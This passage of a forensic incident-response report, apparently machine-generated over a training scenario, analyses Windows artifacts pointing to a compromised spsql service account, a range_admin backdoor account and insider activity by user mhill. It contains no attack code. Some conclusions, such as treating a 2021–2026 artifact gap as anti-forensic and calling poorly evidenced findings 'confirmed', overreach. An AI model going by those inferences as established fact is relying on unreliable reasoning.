  • Evidence: row 5528 (C:\Windows\Temp\perfmon, lnk_atime 2018-08-31T00:17:23.314692+00:00, username spsql); row 5530 (C:\Windows\Temp\perfmon\Metal Alloys, target_ctime 2018-08-31T00:37:00.930758+00:00, username spsql); row 5512 (C:\Users\jpallen\Documents\Research\Metal Alloys\Carbonadium\Carbonadium Develpment Plan.pptx, lnk_atime 2018-08-31T00:17:58.692282+00:00, username spsql); row 5514 (C:\Users\jpallen\Documents\Research\Metal Alloys\Unobtanium\TOP SECRET - UNOBTANIUM FORMULA.docx, lnk_atime 2018-08-31T00:17:58.692282+00:00, username spsql); row 5515 (C:\Users\jpallen\Documents\Research\Metal Alloys\Financial Analysis\alloy-research-financials.xls, lnk_atime 2018-08-31T00:17:58.692282+00:00, username spsql); rows 5522, 5525–5527 (Explorer access to jpallen’s Financial Analysis, Carbonadium, Vibranium, and Unobtanium folders, all lnk_atime 2018-08-31T00:17:23.314692+00:00, username spsql).
  • Why it matters: A service account created a staging folder replicating a research directory tree in C:\Windows\Temp and accessed another user’s TOP SECRET files, strongly indicating unauthorized data collection and exfiltration preparation.
  • Alternative explanation: Legitimate off-hours administrative backup or data migration using the spsql account.
  • Verify: Inspect Windows Security Event Log for spsql logon type 2/10 around 2018-08-31T00:17 UTC; examine USN/MFT and Prefetch for C:\Windows\Temp\perfmon to identify files copied into the staging area.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Likely service account spsql generated interactive Windows Explorer and Microsoft Office Jump List artifacts inconsistent with a non-interactive service principal.
  • Evidence: Statistics show 21 Jump List entries for spsql: 13× C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms (Windows Explorer / Quick Access), 4× 5f7b5f1e01b83767.automaticDestinations-ms (Quick Access), 2× f5ac5390b9115fdb.automaticDestinations-ms (PowerPoint), 1× adecfb853d77462a.automaticDestinations-ms (Word), and 1× cdf30b95c55fd785.automaticDestinations-ms (Excel). The Explorer entries cluster at lnk_atime/lnk_ctime 2018-08-31T00:17:23.314692+00:00 (13×) and lnk_mtime 2018-08-31T00:37:32.488741+00:00 (14×). Specific row-level Office activity from the same session includes: row 5516 (Word 2007 opening TOP SECRET - UNOBTANIUM FORMULA.docx, lnk_mtime 2018-08-31T00:25:44.781322+00:00, username spsql); row 5517 (Excel 2007 opening alloy-research-financials.xls, lnk_mtime 2018-08-31T00:37:32.488741+00:00, username spsql); row 5531 (PowerPoint 2007 opening Carbonadium Develpment Plan.pptx, lnk_mtime 2018-08-31T00:23:47.241631+00:00, username spsql). Note: One chunk interpreted AppID f01b4d95cf55d32a as Remote Desktop Connection; the remaining 16 chunks and standard AppID references identify it as Windows Explorer/Quick Access, which is the stronger position.
  • Why it matters: Service accounts should not have interactive user profiles, Explorer recent folders, or Office document history on an RDS host, indicating credential misuse, interactive compromise, or lateral movement.
  • Alternative explanation: An administrator may have manually logged on as spsql to perform maintenance, or the account may be a regular user despite its service-oriented name.
  • Verify: Review Windows Security Event Log (Event ID 4624/4625) on BASE-RD-02 for spsql logon type 2 (interactive) or type 10 (RDP) around 2018-08-31T00:17Z; inspect Active Directory userAccountControl to confirm whether interactive logon is permitted.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Domain Administrator account administrator.shieldbase generated Windows Explorer Jump List entries on this RDS host, indicating interactive file browsing with privileged credentials.
  • Evidence: Statistics show 6 entries for administrator.shieldbase under C:\Users\administrator.shieldbase\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms (Windows Explorer / Quick Access). Timestamp clusters include lnk_atime/lnk_ctime 2018-05-07T21:53:34.175722+00:00 (6×) and lnk_mtime 2018-07-18T01:08:49.502701+00:00 (6×); an additional lnk_mtime cluster appears at 2018-05-08T14:41:55.531105+00:00.
  • Why it matters: Interactive use of a domain-wide privileged account on an RDS session host exposes high-value credentials to theft and violates least-privilege principles.
  • Alternative explanation: Authorized administrative RDP session or emergency console access for server maintenance.
  • Verify: Cross-reference with Windows Security Event Log (Event ID 4624/4634) for administrator.shieldbase logon type and source IP/workstation on 2018-05-07 and 2018-07-18.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User kellee.espinoza generated an anomalous volume (~5,476 Jump List entries) of Office documents with algorithmic, pseudo-random filenames in a compressed timeframe, accompanied by bulk identical container timestamps.
  • Evidence: Filename patterns collaborationWordDoc<RANDOM_NUMBER>.docx, collaborationSpreadSheetDoc<RANDOM_NUMBER>.xls/xlsx, and collaborationPPTDoc<RANDOM_NUMBER>.ppt/pptx. Representative rows: row 2 (collaborationSpreadSheetDoc3513012194788184988.xls, target_mtime 2018-05-29T14:03:28.187651+00:00); row 17 (collaborationSpreadSheetDoc985488491679366496.xlsx, target_mtime 2018-05-29T14:56:53.086084+00:00); row 344 (collaborationWordDoc2504526453177353538.docx, lnk_ctime 2018-05-11T20:41:15.131874+00:00, target_ctime 2018-05-30T11:21:12.629747+00:00); row 2336 (collaborationWordDoc3169267835087614958.doc, target_mtime 2018-05-29T23:00:03.459286+00:00); row 3963 (collaborationPPTDoc657371789355957550.pptx, target_mtime 2018-05-24T11:08:54.470175+00:00); rows 4956–5286 (331 consecutive PowerPoint entries with target mtimes from 2018-05-29T00:10:02+00:00 to 2018-05-31T21:16:24+00:00). Bulk LNK container timestamps cluster at lnk_atime/lnk_ctime 2018-05-11T19:19:27.305113+00:00 (1,403 entries), 2018-05-11T20:41:15.131874+00:00 (1,622 entries), and lnk_mtime 2018-06-05T10:15:04.574789+00:00 to 2018-06-05T10:15:05.053503+00:00, while underlying target MAC times span late May through early June.
  • Why it matters: The scale, systematic naming, and divergence between LNK container times and target file times suggest automated document generation, macro activity, or staging rather than routine user workflows.
  • Alternative explanation: A legitimate document-management system, collaboration plugin, or mail-merge application generated cached or temporary files automatically.
  • Verify: Inspect file contents and embedded macros on disk or in Volume Shadow Copies; correlate with Process Creation logs (Event ID 4688), Prefetch, and Amcache around 2018-05-24 through 2018-06-01 to identify the parent process.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Account rsydow-a generated Windows Explorer Jump List entries, suggesting interactive GUI activity from an account with a non-standard naming convention.
  • Evidence: Statistics show 6× entries for rsydow-a in C:\Users\rsydow-a\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms (Windows Explorer / Quick Access), clustering at lnk_atime/lnk_ctime 2018-07-18T01:08:49.455820+00:00 (6×) and lnk_mtime 2018-07-18T01:08:49.502701+00:00 (6×).
  • Why it matters: Accounts with hyphenated or service-style names rarely have interactive profiles; this may indicate credential sharing, compromised service credentials, or unauthorized interactive use.
  • Alternative explanation: rsydow-a may be a legitimate user account with an unconventional name.
  • Verify: Validate account type in Active Directory; correlate with Windows Security Event Log (Event ID 4624) for rsydow-a logon type 2/10 on 2018-07-18T01:08Z.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User jpallen accessed locally stored research documents with sensitive naming conventions on this RDS host.
  • Evidence: Statistics show 4× C:\Users\jpallen\Documents\Research\Metal Alloys\Unobtanium\TOP SECRET - UNOBTANIUM FORMULA.docx, 4× C:\Users\jpallen\Documents\Research\Metal Alloys\Carbonadium\Carbonadium Develpment Plan.pptx, and 3× C:\Users\jpallen\Documents\Research\Metal Alloys\Financial Analysis\alloy-research-financials.xls.
  • Why it matters: These high-value documents were later targeted by the spsql service account, confirming they represent priority assets in the suspected compromise.
  • Alternative explanation: Normal authorized research activity by the legitimate user.
  • Verify: Cross-check file-server SACL audit logs, DLP alerts, and jpallen logon history for unauthorized or anomalous access.
  • [SEVERITY: LOW] [CONFIDENCE: HIGH] Mapped drive S: and UNC path \\base-file\shieldbase-share were actively accessed from this host.
  • Evidence: Statistics show 31× lnk_net_name: \\base-file\shieldbase-share and 31× lnk_device_name: S:. Row-level examples: row 1 (lnk_net_name: \\base-file\shieldbase-share, lnk_device_name: S:, common_path_suffix: collaborationSpreadSheetDoc2033155374619497257.xlsx); row 2881 (lnk_net_name: \\base-file\shieldbase-share, lnk_device_name: S:, target_mtime: 2018-05-25T14:44:32.291996+00:00).
  • Why it matters: Confirms active SMB connectivity from the RDS host to the file server, which is relevant for lateral-movement scoping and data-access correlation.
  • Alternative explanation: Standard mapped departmental or user share delivered via Group Policy.
  • Verify: Identify the specific usernames associated with the 31 entries and correlate with SMB session setup / file-access logs on base-file for connections originating from BASE-RD-02.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] User kellee.espinoza used Notepad 64-bit to open an industrial automation configuration file in Program Files (x86).
  • Evidence: Row 1404: application_name Notepad 64-bit, local_base_path C:\Program Files (x86)\Lincoln\LARIAT\actuator\bin\lariat.properties, lnk_mtime 2018-05-25T14:31:07.994169+00:00, username kellee.espinoza.
  • Why it matters: Direct editing of application config files outside user directories may indicate unauthorized tampering with industrial system settings.
  • Alternative explanation: Authorized troubleshooting or application reconfiguration.
  • Verify: Check file hash and audit logs for lariat.properties; confirm authorized change control.

Data Gaps

  • Severely limited row-level visibility: The provided CSV excerpts covered only small, non-contiguous subsets of the total 5,538 records (e.g., rows 2–18, 344, 684–1023, 1024–1363, 1364–1688, 2336, 2659–2983, 2984–3308, 3309–3633, 3963–4293, 4294–4624, 4625–4952, 4956–5286, 5287–5538). Specific target paths, exact timestamps, and row_ref citations for spsql, administrator.shieldbase, rsydow-a, jpallen, and the 31 network-share entries were largely absent outside aggregate statistics, preventing full timeline reconstruction.
  • AppID interpretation conflict: AppID f01b4d95cf55d32a was identified as Windows Explorer/Quick Access by 16 chunks and as Remote Desktop Connection by one chunk. The stronger evidence supports Explorer/Quick Access; no definitive RDP lateral-movement finding can be drawn from this AppID alone.
  • Empty execution context: The lnk_arguments field is empty across all visible rows, and lnk_workdir is empty, removing visibility into command-line parameters or working directories. DestList metadata (entry order, pin status, access counts) is absent, limiting assessment of recency and frequency.
  • No direct execution or credential-theft proof: Jump Lists do not record parent processes, standalone program execution, or credential-access tooling (e.g., Mimikatz). Absence of such entries does not rule out their use elsewhere on the system.
  • Exfiltration unconfirmed: While spsql staged sensitive files in C:\Windows\Temp\perfmon, this artifact cannot demonstrate that data left the host or network.
  • Cross-artifact correlation required: Confirmation of logon type, source IP, session duration, and malicious execution requires Windows Security Event Logs (4624/4625/4648/4688), Prefetch/Amcache/ShimCache, SRUM, MFT/USN Journal, and SMB/server-side logs from base-file.
Custom Jump Lists (jumplist.custom_destination) MEDIUM
Record Count 10
Time Range Start 2018-05-11T22:23:54.924826
Time Range End 2018-08-31T00:42:20.078436

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Service account **spsql** has interactive user artifacts—PowerShell shortcuts in Custom Jump Lists—suggesting an interactive Explorer session or logon inconsistent with typical service account behavior.
  • Evidence: username = spsql; lnk_path = C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms; row_ref 16 (local_base_path = C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk, lnk_mtime/lnk_atime = 2018-08-31T00:42:20.078436+00:00, lnk_ctime = 2018-08-31T00:20:02.992435+00:00) and row_ref 17 (local_base_path = C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe, same Jump List file and timestamps).
  • Why it matters: Service accounts are high-value targets and generally should not generate user-interaction artifacts like CustomDestinations; this may indicate interactive use by an attacker or misconfigured administrative access that facilitates compromise.
  • Alternative explanation: The spsql profile may have been provisioned for a legitimate software installation or manual administrative task, creating Jump Lists through normal Explorer interaction.
  • Verify: Review Security/TerminalServices event logs for interactive or RDP logon events for spsql around 2018-08-31; correlate with PowerShell operational/module logging and UserAssist entries under the spsql profile.

Data Gaps

  • Sparse record set: Only 10 deduplicated records cover a ~4-month window (2018-05-11 to 2018-08-31), suggesting limited user activity, narrow artifact collection, or parser support gaps; many applications and users may be unrepresented.
  • No AutomaticDestinations (DestList): Without MRU/MFU ordering and frequency data from AutomaticDestinations, we cannot establish recency or habitual access patterns for the entries observed.
  • Unresolved Edge targets: The Edge Browser entries (row_refs 12 and 14) contain empty lnk_full_path/local_base_path values and null timestamps (1601-01-01T00:00:00+00:00), preventing assessment of what sites or resources were accessed.
  • Absent command-line detail for PowerShell: The spsql PowerShell Jump List entries have no lnk_arguments, so we cannot determine whether any scripts or malicious commands were executed.
  • No compromise indicators present: This artifact contains no evidence of credential access tooling (e.g., Mimikatz), persistence via startup locations, lateral movement via UNC/admin shares, LOLBin abuse, or exfiltration; such activity would need to be assessed via Event Logs, Prefetch, Amcache, SRUM, or MFT/USN.
Shellbags (shellbags) HIGH
Record Count 62
Time Range Start 2017-09-29T13:46:34
Time Range End 2018-08-31T00:37:01.258904

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] The account spsql performed extensive interactive Explorer reconnaissance across nearly every user profile on the host, as well as sensitive system directories.
  • Evidence: Shellbag entries show spsql browsed C:\Users (row 31, 2018-08-31T00:17:06), C:\Users\Administrator (row 32, 2018-05-07T19:25:08), C:\Users\administrator.shieldbase (row 33, 2018-05-08T14:43:32), C:\Users\administrator.shieldbase\Documents (row 34, 2018-05-08T14:41:56), C:\Users\cbarton-a (row 35, 2018-08-15T15:28:56), C:\Users\jpallen (row 37, 2018-08-28T20:44:38), C:\Users\kellee.espinoza (row 45, 2018-05-24T23:56:10), C:\Users\rsydow-a (row 48, 2018-07-18T01:10:22), C:\Windows (row 50, 2018-08-31T00:09:16), C:\Windows\Tasks (row 55, 2018-07-06T22:25:12), and C:\Windows\Temp (row 56, 2018-08-31T00:36:10).
  • Why it matters: Account names resembling a SQL/service principal conducted interactive folder-level reconnaissance of credential stores, other users’ homes, and persistence locations, which is highly consistent with a compromised account performing lateral movement or credential-access reconnaissance on an RDS host.
  • Alternative explanation: spsql could be an authorized interactive administrator performing profile migrations or system maintenance.
  • Verify: Review Security event log (Event ID 4624/4625) for interactive/RDP logon sessions by spsql and validate whether the account is permitted for interactive logon.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] A suspicious staging-like directory was observed under C:\Windows\Temp\perfmon\Metal Alloys, accessed by the same spsql account that browsed the corresponding user document folders.
  • Evidence: Row 58 (C:\Windows\Temp\perfmon\Metal Alloys, ts_mtime 2018-08-28T21:08:32, user spsql) shares an identical shellbag mtime with row 40 (C:\Users\jpallen\Documents\Research\Metal Alloys, ts_mtime 2018-08-28T21:08:32, user spsql); spsql also browsed the subfolders Carbonadium (row 41), Unobtanium (row 43), Vibranium (row 44), and Financial Analysis (row 42) within jpallen’s profile.
  • Why it matters: Attackers frequently stage collected data in Temp subdirectories prior to exfiltration; the directory naming mirrors sensitive document folders and was accessed by the same account conducting broad user-profile reconnaissance.
  • Alternative explanation: A legitimate application or administrative script may have created the perfmon\Metal Alloys directory for benign operational purposes.
  • Verify: Inspect the MFT, USN journal, and actual disk contents for C:\Windows\Temp\perfmon to identify files present, their hashes, and any data-movement indicators around 2018-08-28 21:08 UTC.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Off-hours Explorer access to a GUID-mounted volume containing Research/Metal Alloys folders by user jpallen.
  • Evidence: Rows 18–22 (My Computer\{d3162b92-9365-467a-956b-92703aca08af}\Research\Metal Alloys\..., ts_mtime range 2018-08-19T04:14:32 to 2018-08-19T04:15:20, user jpallen).
  • Why it matters: 04:14 UTC folder-level activity on an attached volume/network path may indicate unauthorized or anomalous access to what appears to be sensitive research data.
  • Alternative explanation: The user may work in a different timezone, or the timestamp reflects the folder’s modification time rather than a user access time.
  • Verify: Resolve the GUID volume to a network path or mount point and correlate jpallen’s logon sessions (Security log) with normal working hours.

Data Gaps

  • Absent timestamp fields: ts_atime and ts_btime are empty for all 62 rows, preventing first-access and birth-time analysis and limiting the ability to establish precise access timelines.
  • No file-level visibility: Shellbags record only directory browsing in Explorer; they do not reveal individual file reads/writes, command-line activity, or program execution.
  • Account context unknown: This artifact cannot determine whether spsql is a service account, a privileged interactive user, or a compromised identity; group membership and logon rights must be verified via SAM/policy artifacts or event logs.
  • Unresolved volumes: The GUID-based volume {d3162b92-9365-467a-956b-92703aca08af} (rows 17–24) and the S: drive (row 62) are not mapped to UNC paths or physical devices in this data, limiting lateral-movement assessment.
  • No tampering indicators, but limited coverage: While there is no direct evidence of shellbag clearing, the absence of shellbags for some time periods or system accounts (e.g., SYSTEM) cannot be interpreted as tampering without baseline registry knowledge. Corroboration with MFT, USN journal, and Security event logs is required.
SAM Users (sam) HIGH
Record Count 6
Time Range Start 2017-12-15T04:59:37.603455
Time Range End 2018-05-07T19:24:55.961519

Findings

  • **[SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious local account range_admin created on the system.**
  • Evidence: Account username range_admin, RID 1003, row 6, ts: 2018-05-04T22:14:19.395981+00:00, lastpasswordset: 2018-08-19T03:58:17.156408+00:00, lastlogin: 1601-01-01T00:00:00+00:00 (never logged in), flags: 528.
  • Why it matters: A non-standard, non-built-in local account with a name inconsistent with the shieldbase.lan environment was created months after system setup and was assigned a password despite never being used for interactive logon, consistent with attacker persistence/backdoor behavior.
  • Alternative explanation: May be a legitimate account created by an administrator for a specific "range" management purpose (e.g., network range, lab range), though this would be unusual naming for a production RDS host.
  • Verify: Correlate with Windows Security EVTX Event ID 4720 for account creation and Event ID 4732 for group membership changes; determine if the account belongs to the local Administrators group.
  • **[SEVERITY: HIGH] [CONFIDENCE: HIGH] Correlated password changes on range_admin and built-in Administrator within 28 seconds.**
  • Evidence: range_admin lastpasswordset: 2018-08-19T03:58:17.156408+00:00 (row 6); built-in Administrator lastpasswordset: 2018-08-19T03:58:45.643017+00:00 (row 1).
  • Why it matters: Near-simultaneous password resets on a suspicious local account and the built-in Administrator account strongly suggest coordinated credential manipulation, such as an attacker resetting passwords to maintain access or a malicious insider action.
  • Alternative explanation: Could reflect a scripted password rotation or configuration management tool applying changes to multiple privileged accounts at once.
  • Verify: Check Security EVTX for Event IDs 4723 (password change) and 4724 (password reset) on 2018-08-19 around 03:58 UTC for both accounts; identify the source IP and subject user performing the resets.

Data Gaps

  • Group membership data is absent from this artifact. The CSV does not contain a group membership column, so it is not possible to confirm whether range_admin was added to the local Administrators group (or other privileged groups) from SAM alone. Cross-reference with the local group policy/SAM group artifacts or Security EVTX Event ID 4732.
  • No logon session or network logon evidence. SAM lastlogin only reflects the last interactive/local logon. Lateral movement via RDP, SMB, or scheduled task execution using these accounts would not be visible here. Review EVTX 4624, 4625, 4648, and terminal service logs.
  • Account creation audit trail missing. SAM does not record who created range_admin or from where. Windows Security logs (Event ID 4720) are required to identify the creator and confirm the creation timestamp.
  • Cannot assess password policy or hash exposure. SAM does not include password complexity, history, or hash metadata (e.g., NTLM hash last set context). If credential access tools (e.g., Mimikatz) were used, this artifact will not contain that evidence. Review lsass dumps, NTDS.dit, or SECURITY hive if available.
  • Bulk registry timestamp anomaly unexplained. Four built-in accounts (including Administrator) share the identical registry last-write timestamp 2018-05-07T19:24:55.961519+00:00 (rows 1–4). Whether this reflects a benign system update, hive recovery, or tampering cannot be determined from SAM user records alone.
Network History (network_history) UNSPECIFIED
Record Count 1
Time Range Start 2018-05-07T19:24:56.000774
Time Range End 2018-05-07T19:24:56.000774

No suspicious network profiles were identified in this artifact; the sole recorded network is the expected corporate domain shieldbase.lan (row_ref 1, created 2018-05-07T15:24:56.000774-04:00, last connected 2018-09-07T00:19:58.000047-04:00).

Data Gaps

  • Single-profile limitation: Only one NetworkList profile is present. It is impossible to determine whether the host never connected to other networks or whether additional profiles were deleted, renamed, or excluded from this extract. This artifact therefore cannot rule out transient connections to rogue, public, or attacker-controlled networks.
  • No DFIR-relevant indicators: Network History does not provide evidence of privilege escalation, credential access tooling, malicious execution, persistence mechanisms, or active exfiltration. Those categories are not assessable from this artifact alone.
  • Missing user and traffic attribution: The record does not identify which user initiated the connection, nor does it prove active traffic. Correlation with suspicious logon sessions or data movement requires SRUM, WLAN/operational event logs, NetFlow, or proxy/DHCP/DNS records.
  • Temporal scope: The available record spans only May through September 2018. Network connectivity before or after this window is unassessed.
  • Gateway validation: The default gateway MAC (a2c6c7000704) and network signature cannot be validated as benign or suspicious without infrastructure asset data or a baseline of known-good gateway identifiers for this host.
base-wkstn-01-c-drive

Image Summary

Executive Summary

BASE-WKSTN-01 exhibits conclusive evidence of compromise and sustained anomalous or malicious activity from 2018 through 2021. Critical findings include a local backdoor account (range_admin) created and password-managed in tandem with the built-in Administrator; multiple unsigned, masquerading binaries (perfmon-k.exe, an anomalously large googleupdatesetup.exe, k.exe, and a RAR-SFX setup.exe); and interactive logon by the domain administrator administrator.shieldbase, which exposes privileged credentials to theft. User mhill performed extensive OSINT reconnaissance, accessed sensitive file-server shares containing financial and operational data, and used encrypted webmail. An unattributed kernel-mode driver (mnemosyne) installed in September 2021 may represent deep persistence, though it appeared two seconds after an F-Response forensic agent and its purpose is unverified. A five-year artifact gap to the present prevents assessment of recent activity. Confidence that the host was compromised is HIGH; severity is CRITICAL.

---

Timeline

Timestamp (UTC)Source ArtifactEventConfidence
2018-05-04T22:14:19ZSAMLocal account range_admin created (row_ref 6).HIGH
2018-05-07T21:48:32ZAutomatic Jump ListsDomain admin administrator.shieldbase interactive session initialized (rows 251–256).HIGH
2018-05-08T14:06:24ZRun/RunOnce KeysHKCU Run entry for OneDrive created under administrator.shieldbase profile (row_ref 14).HIGH
2018-05-09T02:55:04ZAutomatic Jump ListsLocal Administrator interactive session (rows 1–6).HIGH
2018-05-14T04:00:38ZUserAssistadministrator.shieldbase executed cmd.exe via Explorer (row_ref 114).MEDIUM
2018-07-04 – 2018-08-01Browser HistoryRepeated execution of heavily obfuscated javascript: payloads consistent with exploit kits or trojan webinjects (rows 1212, 1238, 1243, 1271, 1331, 1372, 1397).HIGH
2018-07-07T16:23:30ZShellbagsmhill browsed proxy certificate directory \\base-file\installers\Proxy\Asgard CA Cert (row_ref 5).MEDIUM
2018-08-02T20:34:04ZBrowser Downloadsmhill downloaded confidential internal file CONFIDENTIAL - Project Mayhem.pptx from SharePoint (row_ref 47).HIGH
2018-08-08T14:20:05ZBrowser Downloadsmhill downloaded SpiderFoot OSINT reconnaissance tool (row_ref 50).HIGH
2018-08-17 – 2018-08-27Browser Historymhill accessed ProtonMail account mhill2@protonmail.com (rows 1530, 1531, 1533, 1555, 1557, 1559, 1560).HIGH
2018-08-28T21:20:39ZBrowser Historymhill searched for resume cv filetype:pdf material science espionage and downloaded multiple academic/military CVs (rows 2808–2814, 2825).HIGH
2018-08-29T02:56:03ZSAMBuilt-in Administrator password changed (row_ref 1).HIGH
2018-08-29T02:57:29ZSAMrange_admin password changed 86 seconds after Administrator (row_ref 6).HIGH
2019-12-17T02:22:28ZShellbagsmhill browsed C:\Quarantine at the system root (row_ref 64).MEDIUM
2020-09-20T23:56:16ZUserAssistmhill heavily used opaque executable E7CF176E110C211B (~3.9 hours focus time) (row_ref 43).MEDIUM
2020-09-21T00:24:12ZShellbagsmhill browsed mapped drive S:\Public\Proxy\Asgard CA Cert (row_refs 72, 73).MEDIUM
2021-09-16T03:01:57ZServicesF-Response Subject service installed, matching known forensic remote-imaging agent (row_ref 121).MEDIUM
2021-09-16T03:01:59ZServicesUnattributed kernel driver service mnemosyne installed with raw device path \??\C:\windows\Mnemosyne.sys (row_ref 252).HIGH (suspicious; purpose unverified)

---

Attack Narrative

[INFERRED] Initial Access — Mid-2018, the host was likely compromised via browser exploitation or malicious download delivery. Repeated heavily obfuscated JavaScript payloads in browser history (Browser History, rows 1212–1397) are structurally consistent with exploit kits or banking trojan webinjections. This is supported by the presence of an unsigned 13.4 MB binary k.exe in the Edge temp downloads folder for user spsql (Amcache, row 968) and a RAR self-extractor dropping unsigned setup.exe into the spsql temp directory (Amcache, row 1966). A benign explanation (aggressive ad scripts and legitimate downloads) is possible but unlikely given the combination of factors.

[CONFIRMED] Persistence — Multiple persistence mechanisms were established. A local account range_admin was created on 2018-05-04 (SAM, row 6) and its password was later changed on 2018-08-29 within 86 seconds of the built-in Administrator password reset (SAM, rows 1 and 6), strongly suggesting coordinated attacker access consolidation. Unsigned binaries masquerading as Windows performance tools—perfmon-k.exe and perfmon-kconfigure.exe—were deployed to C:\ProgramData\perfmon-k with no publisher or version metadata (Amcache, rows 1773–1774). On 2021-09-16, a kernel driver service named mnemosyne was installed with a raw device path and no description (Services, row 252); while this may be a forensic or obscure utility, its metadata gap and installation timing two seconds after an F-Response agent make it unverified and potentially malicious rootkit persistence.

[CONFIRMED] Privilege Escalation / Credential Access — The domain administrator account administrator.shieldbase logged on interactively to the workstation (Automatic Jump Lists, rows 251–256; Run/RunOnce Keys, row 14), caching privileged credentials in LSASS and creating direct domain-wide lateral-movement risk if the host was compromised. The same account later executed the Sysinternals secure-deletion tool sdelete.exe from an internal network share (\\base-file\Installers\SysInternals...) (UserAssist, row 126), indicating privileged access and potential anti-forensic activity.

[CONFIRMED] Execution — User mhill executed system persistence utilities schtasks.exe and sc.exe interactively via the Explorer shell (UserAssist, rows 37, 41, 42). In September 2020, mhill also sustained heavy interactive use of an opaque, hash-named executable (E7CF176E110C211B) for approximately 3.9 hours of focus time (UserAssist, row 43). Execution intent is unconfirmed because command-line arguments are absent.

[CONFIRMED] Collection / Reconnaissancemhill conducted sustained open-source intelligence research, visiting OSINT training resources, SpiderFoot documentation, and related sites (Browser History, rows 1218–2350). The user downloaded the SpiderFoot reconnaissance framework (Browser Downloads, row 50) and a confidential internal presentation titled “Project Mayhem” (Browser Downloads, row 47). Automatic Jump Lists show mhill accessed sensitive network shares containing undercover agent rosters, credit card numbers, backstopped accounts, wire transfer instructions, and board meeting notes (rows 84, 118–119, 121, 186, 189–191, 245, 47, 241).

[INFERRED] Exfiltration / C2mhill maintained repeated sessions with the encrypted email service ProtonMail under the identity mhill2@protonmail.com (Browser History, rows 1530–1560). This may indicate a covert coordination channel or small-scale exfiltration, though personal privacy use cannot be fully ruled out without network or DLP correlation.

---

Gaps and Unknowns

  • 5-year artifact vacuum (2021–2026): The most recent available artifacts are from early 2021 (Services, Shimcache, BAM/DAM, Runkeys). It is unknown whether the host was imaged at that time, whether logs were cleared, or whether subsequent attacker activity occurred. This gap is itself an anti-forensic indicator or evidence-decay finding.
  • **mnemosyne driver purpose:** The driver is unattributed and unsigned in the data. It was installed two seconds after the F-Response forensic agent, raising the possibility it is forensic/acquisition-related, but without hashes, signatures, or acquisition records this cannot be confirmed.
  • F-Response provenance: The F-Response Subject service (Services, row 121) and subject_srv.exe (Shimcache, row 434) exactly match a known forensic tool, but without official imaging records, the possibility of attacker-masqueraded remote access cannot be eliminated.
  • Null timestamps: 37 UserAssist records (including sdelete.exe, schtasks.exe, and sc.exe) carry the null Windows timestamp 1601-01-01T00:00:00+00:00, preventing precise temporal correlation with other artifacts.
  • Execution unconfirmed for most binaries: Amcache and Shimcache record file presence only. There is no Prefetch, Sysmon, or Event ID 4688 data to confirm that perfmon-k.exe, k.exe, googleupdatesetup.exe, or setup.exe were actually launched.
  • Partial Amcache: Only a subset of 2,858 Amcache records was provided; 34 instances of mavinject32.exe were noted in summary statistics but unreviewed.
  • **mhill versus attacker attribution:** It is unclear whether mhill activity represents a compromised standard user account, an insider threat, or attacker impersonation. The account’s OSINT behavior and sensitive data access are anomalous but lack direct technical linkage to the range_admin or mnemosyne artifacts.
  • **spsql account anomalies:** The presence of OneDrive binaries and a large unsigned executable (k.exe) in the Edge temp folder for service-account-like user spsql is unexplained; no interactive logon artifacts for spsql were provided.
  • Missing Security/EVTX logs: Windows Security Event Logs are absent, preventing confirmation of account creation actors, password-reset sources, logon types, process creation arguments, and whether logs were cleared.

---

Recommended Next Steps

  1. **Immediate — Verify mnemosyne.sys and contain if malicious:** Obtain the on-disk SHA-1 and digital signature of C:\windows\Mnemosyne.sys. If it is unsigned and unknown, isolate the host immediately from the domain and network. If it is a validated forensic driver, document it as response tooling. (Resolves critical uncertainty around deep persistence)
  2. Immediate — Disable backdoor account and force credential reset: Disable the local range_admin account and force password resets for the local Administrator, administrator.shieldbase, and any other domain accounts with interactive logon history on this host. (Addresses confirmed persistence and credential exposure)
  3. Urgent — Acquire Windows Security and Sysmon EVTX: Pull Event Logs from this host and the domain controller for Event IDs 4624, 4648, 4688, 4698, 4720, 4724, 4732, and 7045 around the timeline events above. This is required to determine who created services/accounts and what command lines were passed to sdelete, schtasks, sc, and cmd. (Resolves execution and attribution gaps)
  4. High Priority — Submit suspicious binary hashes for analysis: Submit SHA-1 hashes c31bbf518e9d9bc74a6567a2e3f0c37043ad399a (perfmon-k.exe), c95f567910b56d5e1f865781582aa6c8ff9f5db9 (perfmon-kconfigure.exe), 3bc3eb9c78d0f867f7d138f7958c2b8854a4dc53 (k.exe), 351ead095f226af542a43b527aa048211b4db082 (googleupdatesetup.exe), and 40b638c05767cc5ad9802701953efeb5315bc80f (setup.exe) to sandbox and threat intelligence. (Confirms malware presence)
  5. **High Priority — Audit base-file share and DLP/proxy logs:** Review SMB Security Event Logs on base-file for mhill access to sensitive paths (Management\Undercover Agents, R&D\Credit-Card-Numbers, etc.) and inspect proxy/DLP logs for data exfiltration around ProtonMail sessions and SpiderFoot usage windows. (Confirms collection/exfiltration)
  6. Medium Priority — Correlate 2021-09-16 service timestamps with imaging records: Determine whether the F-Response service at 172.16.5.25 was part of an authorized forensic acquisition on 2021-09-16. If unauthorized, treat the IP and service as malicious remote access. (Resolves F-Response ambiguity)
